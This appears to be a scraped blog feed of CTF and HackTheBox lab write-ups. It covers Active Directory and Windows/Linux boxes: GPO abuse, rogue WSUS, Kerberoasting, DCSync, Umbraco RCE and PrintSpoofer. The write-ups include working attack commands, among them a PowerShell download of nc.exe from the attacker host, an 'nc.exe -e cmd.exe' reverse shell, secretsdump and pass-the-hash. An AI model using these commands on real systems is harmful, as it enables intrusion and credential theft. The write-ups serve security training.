10.244.0.20. The .10 is the DC and the .20 is a server serving SMB.\nScan of .10:\nScan of .20:\nI started with SMB on both using null authentication, and the DC\u0026rsquo;s SMB allowed null auth:\nThat looked like the likely entry point. I tried to list shares, it failed on the DC, but worked on the other, isolated machine:\nThere\u0026rsquo;s a non-default share, REMINST (the WDS / RemoteInstall share). WDS stores deployment images and, crucially, their answer files there, a classic spot for leftover credentials. I browsed in and pulled the XML sitting inside:\n2. Credentials from the Unattend File Opening the file, I spotted a user, svc_deploy with its password encoded in base64:\nDropping the base64 blob into CyberChef:\nThe decoded password is svc_deploy:D3pl0y!_AgileCorp. Note the trailing Password in the decoded output, that\u0026rsquo;s a known quirk of the unattend format: when the password is stored with PlainText=false, Windows appends the literal string Password to it before base64-encoding. So you strip that suffix and keep D3pl0y!_AgileCorp. (PlainText=false is not encryption, it\u0026rsquo;s just reversible base64, which is exactly why answer files should never sit on a readable share.)\nConfirming the credentials are valid:\nThe user is valid, with that password, on both machines.\n3. GPO Abuse → SYSTEM on SRV With a valid user, I ran BloodHound against the DC and looked at svc_deploy\u0026rsquo;s outbound control:\nsvc_deploy has GenericWrite (plus WriteOwner and WriteDacl) over the GPO SRV-BASELINE. Any one of those is enough to control the GPO. And a GPO only matters for what it\u0026rsquo;s linked to, this one is linked to the OU holding the SRV computer:\nSo anything I put in that GPO runs on the SRV. The abuse: with write access to the GPO, I inject an immediate scheduled task into its ScheduledTasks.xml. That task runs in the SYSTEM context of whatever machine applies the GPO, on the next policy refresh. I used pyGPOAbuse (the Python port of SharpGPOAbuse) for this:\nThe payload runs net localgroup administrators svc_deploy /add, dropping svc_deploy into the local administrators group. After the refresh, I confirmed with nxc:\n(Pwn3d!) on the .20 local admin on the SRV.\n4. Looting the SRV As local admin I dumped the SAM and LSA secrets:\nI was hoping for cached domain credentials of a Domain Admin to jump straight to the DC, but there were none. The gold here is the SRV$ machine account hash, a domain principal I now control.\nThe challenge description hinted there\u0026rsquo;s always something useful on the Administrators\u0026rsquo; desktop, and since I\u0026rsquo;m now in that group, I went looking. There was a .eml file (an email):\nThe email tells us the DC pulls updates from WSUS every few minutes, and that the migration to HTTPS is \u0026ldquo;finally\u0026rdquo; done. That caught my attention, what if we could control that WSUS endpoint? Instead of fetching updates from the configured server, the DC would come to us.\nWSUS is a well-known lateral-movement / privesc vector: if you can make a target talk to a WSUS server you control, you can serve it a malicious \u0026ldquo;update\u0026rdquo; that runs as SYSTEM. See GoSecure\u0026rsquo;s original research (pywsus) and the syslifters WSUS handbook.\n5. Locating the WSUS Server A dig to find where wsus.agile-corp.hacklu lives:\nIt doesn\u0026rsquo;t live on our network, it\u0026rsquo;s out on 172.16.10.10, a separate subnet that neither we nor the SRV can reach directly. So \u0026ldquo;just point WUServer at ourselves\u0026rdquo; isn\u0026rsquo;t quite that simple; we have to make the DC come to a box we do control.\n6. DNS Hijack The DC resolves wsus.agile-corp.hacklu through its own AD-integrated DNS. If I change that record to point at the SRV (10.244.0.20), a box the DC can reach and I own, the DC\u0026rsquo;s update scan comes to me.\nModifying the record over LDAP with svc_deploy failed (insufficientAccessRights) — I don\u0026rsquo;t own that record. But the zone accepts insecure dynamic updates, which is a separate code path that ignores the LDAP ACL, so nsupdate overwrites it anyway:\nwsus.agile-corp.hacklu now resolves to the SRV.\n7. ADCS — Legitimate Certificate for the WSUS Name The email said the endpoint is HTTPS (:8531), and if you were paying attention, that endpoint was actually already there in the very first XML we pulled off the SMB share (the WUServer reg key pointed at https://wsus.agile-corp.hacklu:8531 all along). A rogue WSUS needs a certificate the DC will trust, or the TLS handshake fails and the DC never talks to us.\ncertipy find showed an ADCS CA (agile-corp-Root-CA) and the WebServer template with Enrollee Supplies Subject + Server Authentication, enrollable by Domain Computers:\nBecause the template lets the enrollee supply the subject, I requested a cert with the subject and DNS SAN set to wsus.agile-corp.hacklu, authenticating as SRV$ (a Domain Computer). It\u0026rsquo;s signed by the domain\u0026rsquo;s own Root CA, so the DC trusts it out of the box:\nThis part was a bit tricky. To request the cert over RPC I first had to tunnel into the SRV with Ligolo-ng. Why? From my attacking host I could only reach the DC on LDAP and SMB, the RPC path the enrollment needs wasn\u0026rsquo;t reachable directly. The SRV, being on the same network as the DC, can reach it on every port, so I pivot the RPC request through it.\nThe same tunnel carries the rest of the attack: the DC connects to the SRV on 8531, and Ligolo listeners on the SRV forward that back to my box where the rogue WSUS lives.\nSide note: certipy find also flagged this template as ESC15 / EKUwu (CVE-2024-49019) you can inject a Client Authentication application policy and impersonate a DA. I did try that route first, but PKINIT and Schannel both rejected the cert (the CA looked patched against it), so I fell back to the WSUS path. Writeups on ESC15 if you want to dig in: SpecterOps and TrustedSec.\n8. Rogue WSUS The rogue WSUS (pyWSUS) runs on my box and serves plain HTTP on 8530. Since the DC speaks HTTPS, I put socat in front to terminate TLS on 8531 with the legit cert from the previous step, forwarding to pyWSUS:\nsocat OPENSSL-LISTEN:8531,cert=wsus_cert.pem,key=wsus_key.pem,verify=0,reuseaddr,fork TCP:127.0.0.1:8530 And pyWSUS itself, serving a Microsoft-signed PsExec64.exe as the \u0026ldquo;update\u0026rdquo; (WSUS only accepts MS-signed binaries), with the command that adds svc_deploy to the DC\u0026rsquo;s local administrators:\nSo the full chain the DC walks is:\nDC → wsus.agile-corp.hacklu:8531 (= SRV, via DNS hijack) → Ligolo listener → my host → socat (TLS, legit cert) → pyWSUS Then I waited… and nothing came in. I was about to give up and try another route, but then it clicked the firewall on the SRV was probably dropping the inbound connection on 8531 (my earlier curl test had gone over loopback, which never touches the firewall). So I opened the ports:\nAnd a couple of seconds later, things started landing in my terminal the DC was finally talking to my rogue WSUS:\nThat\u0026rsquo;s the signal. Let\u0026rsquo;s check if our user is admin on the DC now:\n(Pwn3d!) on the DC local admin on a Domain Controller is effectively Domain Admin.\nOne more gotcha worth noting (cost me a few cycles): through the tunnel, pyWSUS built its download URL from self.client_address, which it saw as 127.0.0.1, so the DC was told to fetch the update from itself and the install died with 0x80240438. Patching that URL to https://wsus.agile-corp.hacklu:8531/... fixed it.\n9. Domain Compromise Now that we\u0026rsquo;re admin on the DC we can do whatever we want, dump the whole domain. DCSync:\nI tried to pop an interactive shell (impacket-wmiexec, psexec, even pass-the-hash with the Administrator hash from the dump) but none of them wanted to cooperate, the box kept hanging on the DCOM/service handshake (SMB signing enforced on the DC doesn\u0026rsquo;t help). Didn\u0026rsquo;t matter much though, all I actually needed was the flag, and since I\u0026rsquo;m admin I can just read it with nxc\u0026rsquo;s command execution:\nAnd bam, the flag:\nflag{wds_wsu5_3nd_0f_l1f3_but_n0t_3nd_0f_us3_981zkja3} (If you do want a stable shell on a signing-enforced DC, impacket-atexec or nxc ... -x tend to behave better than wmiexec/psexec, they go through the task scheduler / service control rather than DCOM.)\nAttack Chain Summary ImageUnattend.xml in REMINST (WDS) → svc_deploy (base64 UTF-16 + \u0026#34;Password\u0026#34; suffix) │ ▼ BloodHound: GenericWrite/WriteOwner/WriteDacl on GPO SRV-BASELINE pyGPOAbuse → scheduled task as SYSTEM → local admin on SRV │ ▼ SAM/LSA dump → SRV$ hash ; email reveals WSUS + DC FastScan insecure DNS dynamic update: wsus.agile-corp.hacklu → SRV │ ▼ ADCS (WebServer template, ESS): legit cert for wsus.agile-corp.hacklu rogue WSUS (pyWSUS) + socat TLS + Ligolo pivot (+ open SRV firewall) │ ▼ DC scan installs the \u0026#34;update\u0026#34; as SYSTEM local admin on DC → DCSync → Domain Admin References pyWSUS - GoSecure: https://github.com/GoSecure/pywsus · research: https://gosecure.ai/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/ WSUS attack handbook - Syslifters: https://handbook.syslifters.com/pentesting-manual/active-directory/privilege-escalation/wsus pyGPOAbuse: https://github.com/Hackndo/pyGPOAbuse Ligolo-ng: https://github.com/nicocha30/ligolo-ng Certipy: https://github.com/ly4k/Certipy ESC15 / EKUwu (CVE-2024-49019) - SpecterOps: https://docs.specterops.io/ghostpack-docs/Certify.wik-mdx/esc15-ekuwu-application-policy-injection · TrustedSec: https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc ","permalink":"https://ctf-hallllow.blog/posts/technical-debt/","summary":"\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Event-hack.lu%20CTF-6f42c1?style=flat\" alt=\"Event\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Windows-0078D6?style=flat\u0026logo=windows\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Category-Active%20Directory-blue?style=flat\" alt=\"Category\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - Null-auth SMB on the member server exposes the WDS \u003ccode\u003eREMINST\u003c/code\u003e share, whose unattend XML leaks \u003ccode\u003esvc_deploy:D3pl0y!_AgileCorp\u003c/code\u003e (base64 with the classic trailing \u003ccode\u003ePassword\u003c/code\u003e quirk). BloodHound shows \u003ccode\u003esvc_deploy\u003c/code\u003e has \u003ccode\u003eGenericWrite\u003c/code\u003e over the \u003ccode\u003eSRV-BASELINE\u003c/code\u003e GPO, so \u003ccode\u003epyGPOAbuse\u003c/code\u003e drops an immediate scheduled task that gives SYSTEM / local admin on SRV. Looting SRV yields the \u003ccode\u003eSRV$\u003c/code\u003e machine hash and an email revealing the DC pulls WSUS updates over HTTPS. I hijack the WSUS DNS record (insecure dynamic update) to point at SRV, mint a legitimate ADCS \u003ccode\u003eWebServer\u003c/code\u003e cert for the WSUS name, and stand up a rogue WSUS (pyWSUS + socat TLS + a Ligolo pivot) that serves a Microsoft-signed PsExec as a SYSTEM \u0026lsquo;update\u0026rsquo; - landing local admin on the DC, then DCSync for full domain compromise.\u0026quot;\u003c/p\u003e","title":"hack.lu - Technical Debt"},{"content":" TL;DR - A support site runs osTicket and a Mattermost chat server. Creating a ticket hands us a temporary @delivery.htb email, which we use to register and self-validate a Mattermost account, because the validation link lands back in our own ticket. Inside Mattermost, a team channel leaks SSH credentials (maildeliverer) for the foothold. Root comes from the Mattermost DB config, which holds MySQL creds, where the root user\u0026rsquo;s hash lives, cracked with a hashcat ruleset applied to a password hint found in the same chat.\nRecon As always, starting recon with a full nmap scan.\nnmap -sV -sC -p- -oA nmap/delivery 10.129.73.168 Ports 22, 80 and 8065 open. Starting with the easiest, port 80.\nA simple page with a helpdesk hyperlink that redirects to helpdesk.delivery.htb, so I added that to /etc/hosts.\nThe helpdesk is an osTicket support system, with self-registration, but it requires email validation, so it\u0026rsquo;s not a direct entry point.\nAfter poking at a few CVEs with no luck, I moved to the third port, 8065.\nThat\u0026rsquo;s a Mattermost chat server.\nFoothold - chaining osTicket and Mattermost Mattermost registration needs a validated @delivery.htb email, which I don\u0026rsquo;t have. But osTicket gives me one: every ticket gets a temporary @delivery.htb address, and I can read everything sent to it through the ticket view. So osTicket becomes my mailbox, and the two apps chain together.\nI created a ticket, which assigned a temporary email address for tracking it.\nI registered on Mattermost using that temporary email.\nThe validation email arrived in the osTicket thread.\nClicking the link activated the account, and I was in as a valid Mattermost user.\nA team channel had plaintext credentials sitting in the history.\nThe creds were maildeliverer:Youve_G0t_Mail!. I tried them over SSH.\nuser.txt Privilege Escalation - Mattermost DB to cracked root hash Enumerating as maildeliverer, the Mattermost config held database credentials.\ncat /opt/mattermost/config/config.json # mmuser:Crack_The_MM_Admin_PW MySQL was running locally (from the initial enumeration), so I logged in with those.\nIn the Users table there was a root account with a bcrypt password hash, which I dumped.\nA straight hashcat run against bcrypt was far too slow. But the Mattermost chat had explicitly hinted at a password pattern (PleaseSubscribe! and a note about using rules). That\u0026rsquo;s the shortcut: instead of brute-forcing, generate candidates from the hint using a ruleset.\nI generated a wordlist by applying best64.rule to the hint, then cracked the hash:\necho \u0026#39;PleaseSubscribe!\u0026#39; | hashcat --stdout -r /usr/share/hashcat/rules/best64.rule \u0026gt; wordlist john --wordlist=wordlist --format=bcrypt hash The password was PleaseSubscribe!21, and it was reused for the system root account.\nsu root # PleaseSubscribe!21 root.txt Conclusion Delivery\u0026rsquo;s foothold is the highlight: nothing is \u0026ldquo;exploited\u0026rdquo; in the classic sense, you just realise that an osTicket mailbox can validate a Mattermost account, and chain two legitimate features into access. It\u0026rsquo;s a great lesson that trust boundaries between apps are themselves an attack surface.\nThe root step reinforces a credential-hygiene theme: reused passwords (Mattermost root hash = system root) and, cleverly, a password hint dropped in chat that turns an unfeasible bcrypt crack into a few seconds of rule-based guessing.\nThe takeaway: when a service hands you a controllable email address, treat it as a mailbox you own, it can validate accounts elsewhere. And when a target drops a password hint, don\u0026rsquo;t brute-force blind, feed the hint through a hashcat ruleset (best64.rule is the go-to) to generate realistic candidates.\nKill chain summary Phase Vector Result Recon nmap osTicket (80) + Mattermost (8065) Foothold osTicket temp email → validate Mattermost → read channel creds maildeliverer:Youve_G0t_Mail! → SSH - user.txt Priv esc Mattermost config.json → MySQL → root hash bcrypt hash of system root Root hashcat best64.rule on chat hint → password reuse PleaseSubscribe!21 - root.txt References osTicket - https://osticket.com/ Mattermost - https://mattermost.com/ hashcat rule-based attack - https://hashcat.net/wiki/doku.php?id=rule_based_attack ","permalink":"https://ctf-hallllow.blog/posts/delivery/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"Delivery box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Linux-E95420?style=flat\u0026logo=linux\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Easy-brightgreen?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - A support site runs osTicket and a Mattermost chat server. Creating a ticket hands us a temporary \u003ccode\u003e@delivery.htb\u003c/code\u003e email, which we use to register and self-validate a Mattermost account, because the validation link lands back in our own ticket. Inside Mattermost, a team channel leaks SSH credentials (\u003ccode\u003emaildeliverer\u003c/code\u003e) for the foothold. Root comes from the Mattermost DB config, which holds MySQL creds, where the \u003ccode\u003eroot\u003c/code\u003e user\u0026rsquo;s hash lives, cracked with a hashcat ruleset applied to a password hint found in the same chat.\u003c/p\u003e","title":"HTB - Delivery"},{"content":" TL;DR - An exposed NFS share (/site_backups) mounts without authentication and contains an Umbraco CMS backup. The admin password hash lives in Umbraco.sdf; cracking it with rockyou gives CMS login. Umbraco 7.12.4 is vulnerable to authenticated RCE, which we use to stage nc.exe and pop a reverse shell. The service account holds SeImpersonatePrivilege, so PrintSpoofer escalates straight to nt authority\\system.\nRecon Starting this machine with a full nmap scan.\nnmap -sV -sC -p- -oA nmap/remote 10.129.230.172 Several ports open. The nmap scripts flagged anonymous FTP login, so I started there.\nThe FTP server was empty, so I moved to port 80.\nA product store. I fuzzed for directories.\nffuf -u http://10.129.230.172/FUZZ -w /usr/share/wordlists/dirb/big.txt Most endpoints led back to the main site, but one redirected to a separate login page.\nIt\u0026rsquo;s Umbraco, a .NET CMS. The login was a dead end on its own, so I went back to the nmap results, where NFS stood out.\nNFS share → Umbraco credentials An NFS share was exported to everyone, a likely foothold. I mounted it.\nsudo mount -t nfs4 10.129.230.172:/site_backups mnt/ -o nolock A site backup on an open NFS share is a goldmine: it\u0026rsquo;s the application\u0026rsquo;s files and database sitting on disk, outside the app\u0026rsquo;s auth. For a .NET CMS like Umbraco, two things matter, Web.config (connection strings, keys) and the embedded database file.\nWeb.config pointed at a database file, Umbraco.sdf, under App_Data. I pulled strings from it, filtering for anything credential-like.\nstrings Umbraco.sdf | grep -iE \u0026#39;admin|password|hash|@\u0026#39; That surfaced the admin password hash. Umbraco 7 uses SHA1 (hashcat mode 100).\nhashcat -m 100 admin_hash /usr/share/wordlists/rockyou.txt Cracked to admin@htb.local:baconandcheese, which logged into the Umbraco admin panel.\nFoothold - Umbraco 7.12.4 authenticated RCE The panel reported Umbraco 7.12.4, which is vulnerable to authenticated remote code execution. I used a public PoC (noraj/Umbraco-RCE) to confirm it.\nWith RCE confirmed, I staged nc.exe by having the target download it from my machine.\npython3 exploit.py -u admin@htb.local -p baconandcheese -i \u0026#39;http://10.129.230.172/\u0026#39; \\ -c powershell.exe \\ -a \u0026#34;-NoProfile -Command Invoke-WebRequest -Uri http://10.10.16.100/nc.exe -OutFile C:/Windows/Temp/nc.exe\u0026#34; Then fired a reverse shell (listener on 443 my side):\npython3 exploit.py -u admin@htb.local -p baconandcheese -i \u0026#39;http://10.129.230.172/\u0026#39; \\ -c powershell.exe \\ -a \u0026#34;-NoProfile -Command C:/Windows/Temp/nc.exe -e cmd.exe 10.10.16.100 443\u0026#34; user.txt A shell as the web service account, and the first flag.\nPrivilege Escalation - SeImpersonatePrivilege via PrintSpoofer Checking my privileges, the account held SeImpersonatePrivilege.\nwhoami /priv SeImpersonatePrivilege lets a process impersonate the security context of any client that connects to a named pipe it controls. Tools like PrintSpoofer coerce a SYSTEM service into connecting to such a pipe, then impersonate it, turning the privilege into instant SYSTEM. On service accounts (IIS, MSSQL) this is the standard \u0026ldquo;potato\u0026rdquo; escalation.\nsysteminfo confirmed a patch level the technique works against.\nI uploaded PrintSpoofer and ran it to spawn a SYSTEM shell.\nPrintSpoofer.exe -i -c cmd root.txt Conclusion Remote is a tidy Windows easy that rewards going back to your nmap output, the web path is a dead end until you remember the open NFS share, which hands you the Umbraco backup and its hashed admin password. From there it\u0026rsquo;s a known-version RCE and a textbook SeImpersonatePrivilege escalation.\nThe takeaway: don\u0026rsquo;t tunnel-vision on the web app. Services like NFS, SMB and FTP often leak the credentials that unlock the web app. And on any Windows shell, run whoami /priv immediately, SeImpersonatePrivilege on a service account is a one-step path to SYSTEM via PrintSpoofer/Potato.\nKill chain summary Phase Vector Result Recon nmap + ffuf Umbraco CMS + open NFS export Credentials Mount NFS /site_backups → Umbraco.sdf hash → hashcat admin@htb.local:baconandcheese Foothold Umbraco 7.12.4 authenticated RCE → nc.exe reverse shell Shell as web service account - user.txt Root SeImpersonatePrivilege → PrintSpoofer nt authority\\system - root.txt References Umbraco 7.12.4 authenticated RCE - https://github.com/noraj/Umbraco-RCE PrintSpoofer (SeImpersonate → SYSTEM) - https://github.com/itm4n/PrintSpoofer NFS enumeration - https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting ","permalink":"https://ctf-hallllow.blog/posts/remote/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"Remote box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Windows-0078D6?style=flat\u0026logo=windows\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Easy-brightgreen?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - An exposed NFS share (\u003ccode\u003e/site_backups\u003c/code\u003e) mounts without authentication and contains an Umbraco CMS backup. The admin password hash lives in \u003ccode\u003eUmbraco.sdf\u003c/code\u003e; cracking it with rockyou gives CMS login. Umbraco 7.12.4 is vulnerable to authenticated RCE, which we use to stage \u003ccode\u003enc.exe\u003c/code\u003e and pop a reverse shell. The service account holds \u003ccode\u003eSeImpersonatePrivilege\u003c/code\u003e, so PrintSpoofer escalates straight to \u003ccode\u003ent authority\\system\u003c/code\u003e.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"recon\"\u003eRecon\u003c/h2\u003e\n\u003cp\u003eStarting this machine with a full nmap scan.\u003c/p\u003e","title":"HTB - Remote"},{"content":" TL;DR - A Domain Controller exposing a Replication share over anonymous SMB leaks a Groups.xml containing a GPP-encrypted password. Microsoft published the AES key for GPP, so it decrypts offline to the svc_tgs credentials, which open the Users share and user.txt. The Administrator account has an SPN registered, so a Kerberoast against it yields a TGS hash that cracks with rockyou, giving full domain compromise.\nRecon Starting with a full nmap scan on the host and saving the results to a file:\nnmap -sV -sC -p- -oA nmap/active 10.129.72.177 The output confirmed this is a Domain Controller. I grabbed the domain active.htb and added it to /etc/hosts, then started with the service that usually pays off fastest on AD boxes, SMB on port 445. Listing shares anonymously:\nsmbclient -N -L //10.129.72.177 Besides the default shares, there was a suspicious Users share, so I tried to access it.\nAccess denied on Users. But there was another non-default share, Replication, which I could access.\nFoothold - GPP password in Replication Replication on a DC usually mirrors SYSVOL, which holds Group Policy. The classic find there is Groups.xml from Group Policy Preferences (GPP): it can store a password \u0026ldquo;encrypted\u0026rdquo; with an AES key Microsoft accidentally published in 2012, so any such file is effectively plaintext credentials.\nInside the share I enabled recursion with recurse ON and listed everything. I know dumping the whole share and inspecting locally is cleaner, but for this it was fine. One file stood out, Groups.xml.\nI downloaded it to inspect locally. It contained a username and an encrypted password.\nThe account was SVC_TGS, likely the service account that issues tickets in the domain. The encrypted value is a GPP password, decryptable offline with gpp-decrypt.\nThat gave svc_tgs:GPPstillStandingStrong2k18. I validated the credentials with netexec.\nValid. With working credentials, the Users share was now accessible.\nI retrieved the first flag from Users\\SVC_TGS\\Desktop\\.\nuser.txt Privilege Escalation - Kerberoasting the Administrator With svc_tgs, I enumerated Service Principal Names (SPNs) to find Kerberoastable accounts.\nGetUserSPNs.py active.htb/svc_tgs:GPPstillStandingStrong2k18 -dc-ip 10.129.72.177 -request -outputfile hashes.kerberoast Any authenticated domain user can request a service ticket (TGS) for any account that has an SPN. That ticket is encrypted with the service account\u0026rsquo;s password hash, so it can be cracked offline. Here the Administrator account itself has an SPN registered, so its TGS is Kerberoastable, crack it and you own the domain.\nThe request returned a TGS hash for Administrator.\nCracking it with hashcat:\nhashcat -m 13100 -a 0 hashes.kerberoast /usr/share/wordlists/rockyou.txt That yielded Administrator:Ticketmaster1968. With domain admin credentials, I read root.txt from the Administrator\u0026rsquo;s desktop over the Users share.\nroot.txt Conclusion Active is the canonical \u0026ldquo;intro to AD\u0026rdquo; box, and it\u0026rsquo;s a great one because every step mirrors a real-world misconfiguration. The GPP password is a genuine historical blunder (MS14-025): plenty of environments still have Groups.xml sitting in SYSVOL with a decryptable password, because the key is public. The root step is textbook Kerberoasting, made trivial here because the Administrator account carries an SPN.\nThe takeaway: on any AD foothold, two cheap wins to always check are anonymous or authenticated SMB shares for a GPP Groups.xml, and GetUserSPNs.py for Kerberoastable accounts. Both turn a low-priv position into credentials without touching an exploit.\nKill chain summary Phase Vector Result Recon nmap + anonymous SMB enumeration DC active.htb, Replication readable Foothold GPP password in Groups.xml → gpp-decrypt svc_tgs:GPPstillStandingStrong2k18 User svc_tgs access to Users share user.txt Root Kerberoast SPN-enabled Administrator → hashcat Administrator:Ticketmaster1968 - root.txt References GPP password decryption (MS14-025) - https://adsecurity.org/?p=2288 Kerberoasting - https://www.thehacker.recipes/ad/movement/kerberos/kerberoast Impacket (GetUserSPNs.py) - https://github.com/fortra/impacket ","permalink":"https://ctf-hallllow.blog/posts/active/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"Active box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Windows-0078D6?style=flat\u0026logo=windows\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Easy-brightgreen?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - A Domain Controller exposing a \u003ccode\u003eReplication\u003c/code\u003e share over anonymous SMB leaks a \u003ccode\u003eGroups.xml\u003c/code\u003e containing a GPP-encrypted password. Microsoft published the AES key for GPP, so it decrypts offline to the \u003ccode\u003esvc_tgs\u003c/code\u003e credentials, which open the \u003ccode\u003eUsers\u003c/code\u003e share and \u003ccode\u003euser.txt\u003c/code\u003e. The \u003ccode\u003eAdministrator\u003c/code\u003e account has an SPN registered, so a Kerberoast against it yields a TGS hash that cracks with rockyou, giving full domain compromise.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"recon\"\u003eRecon\u003c/h2\u003e\n\u003cp\u003eStarting with a full nmap scan on the host and saving the results to a file:\u003c/p\u003e","title":"HTB - Active"},{"content":" TL;DR - An assumed-breach Active Directory box starting with Olivia:ichliebedich. BloodHound maps an ACL chain: Olivia has GenericAll over Michael, Michael can ForceChangePassword on Benjamin, and Benjamin (in Share Moderators) can reach an FTP backup. That backup is a Password Safe vault, cracked to reveal mid-chain users, one of whom (Emily) has GenericWrite over Ethan. A targeted Kerberoast against Ethan cracks his password, and Ethan holds DCSync rights, so secretsdump dumps every hash and a pass-the-hash as Administrator finishes the box.\nRecon The box is assumed-breach, handing us initial credentials Olivia:ichliebedich. Those will feed a BloodHound collection later, but first a full nmap scan.\nnmap -sV -sC -p- -oA nmap/administrator 10.129.72.195 The scan confirms a Domain Controller. FTP (21) is open, and since we already have credentials, I tried the low-hanging fruit first.\nOlivia can\u0026rsquo;t log into FTP, so I pivoted to BloodHound to map what her account can actually do.\nbloodhound-python -u olivia -p ichliebedich -ns 10.129.72.195 -d administrator.htb -c all Lateral movement - the ACL chain On an assumed-breach AD box with no obvious service exploit, the path is almost always ACL abuse. The routine: ingest into BloodHound, then for each account I own, check its Outbound Object Control, the rights it holds over other principals. Each edge is a hop.\nOlivia → Michael (GenericAll) Olivia has GenericAll over Michael, total control of the object, including resetting his password.\nbloodyAD --host \u0026#34;10.129.72.195\u0026#34; -d \u0026#34;administrator.htb\u0026#34; -u \u0026#34;olivia\u0026#34; -p \u0026#34;ichliebedich\u0026#34; set password \u0026#34;michael\u0026#34; \u0026#34;password123\u0026#34; Confirmed with netexec.\nMichael can WinRM, so we get an interactive session.\nMichael → Benjamin (ForceChangePassword) Nothing useful on Michael\u0026rsquo;s host, so back to BloodHound. Michael has ForceChangePassword over Benjamin.\nbloodyAD --host \u0026#34;10.129.72.195\u0026#34; -d \u0026#34;administrator.htb\u0026#34; -u \u0026#34;michael\u0026#34; -p \u0026#34;password123\u0026#34; set password \u0026#34;benjamin\u0026#34; \u0026#34;password123\u0026#34; Benjamin → FTP backup → Password Safe vault Benjamin is in a non-default group, Share Moderators, which hinted at access to that FTP server from the start. This time the login worked, and there was a Backup.psafe3 waiting.\nA .psafe3 is a Password Safe vault, password-protected. I cracked it with pwsafe2john and john.\npwsafe2john Backup.psafe3 \u0026gt; hash john hash --wordlist=/usr/share/wordlists/rockyou.txt The master password was tekieromucho. Opening the vault revealed three users with passwords:\nalexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur Three sets of creds, but they\u0026rsquo;re not equal, the useful one is whichever sits closest to Domain Admin in the graph. BloodHound showed Emily has GenericWrite over Ethan, and Ethan has a path to full domain control. Emily is the pivot.\nPrivilege Escalation Emily → Ethan (targeted Kerberoasting) With GenericWrite over Ethan, I can write a Service Principal Name onto his account, making him Kerberoastable, then request and crack his ticket (a targeted Kerberoast).\nbloodyAD --host 10.129.72.195 -d administrator.htb -u \u0026#39;emily\u0026#39; -p \u0026#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb\u0026#39; set object \u0026#39;ETHAN\u0026#39; servicePrincipalName -v \u0026#39;cifs/gzzcoo\u0026#39; GetUserSPNs.py administrator.htb/emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb -dc-ip 10.129.72.195 -request -outputfile hashes.kerberoast Kerberos rejects tickets if your clock drifts too far from the DC, so if GetUserSPNs.py throws KRB_AP_ERR_SKEW, sync first:\nsudo rdate -n 10.129.72.195 Then crack with hashcat:\nhashcat -m 13100 -a 0 hashes.kerberoast /usr/share/wordlists/rockyou.txt Ethan\u0026rsquo;s password is limpbizkit, validated with netexec.\nuser.txt Grabbed via evil-winrm.\nEthan → Domain (DCSync) Ethan\u0026rsquo;s Outbound Object Control shows GetChanges and GetChangesAll over the domain, the rights needed to perform a DCSync, replicating password hashes straight from the DC.\nsecretsdump.py -outputfile \u0026#39;dcsync\u0026#39; -dc-ip \u0026#34;10.129.72.195\u0026#34; \u0026#34;administrator/ethan:limpbizkit@administrator.htb\u0026#34; That dumps every account\u0026rsquo;s NT hash, including Administrator. A pass-the-hash logs us in as Administrator.\nevil-winrm -i 10.129.72.195 -u Administrator -H \u0026lt;admin_NT_hash\u0026gt; root.txt Conclusion Administrator is a pure Active Directory ACL box, and a really clean one. There\u0026rsquo;s no exploit anywhere, every hop is a misconfigured right that BloodHound hands you if you read the graph. The chain (GenericAll → ForceChangePassword → group access → vault crack → GenericWrite → targeted Kerberoast → DCSync) is a tour of the most common privilege-abuse edges you\u0026rsquo;ll meet in real engagements.\nThe takeaway: on any AD foothold, work the BloodHound graph methodically. For each principal you own, read its Outbound Object Control and treat every edge as a hop toward Domain Admin. GenericWrite on a user is a targeted Kerberoast; GetChanges/GetChangesAll is game over via DCSync.\nKill chain summary Phase Vector 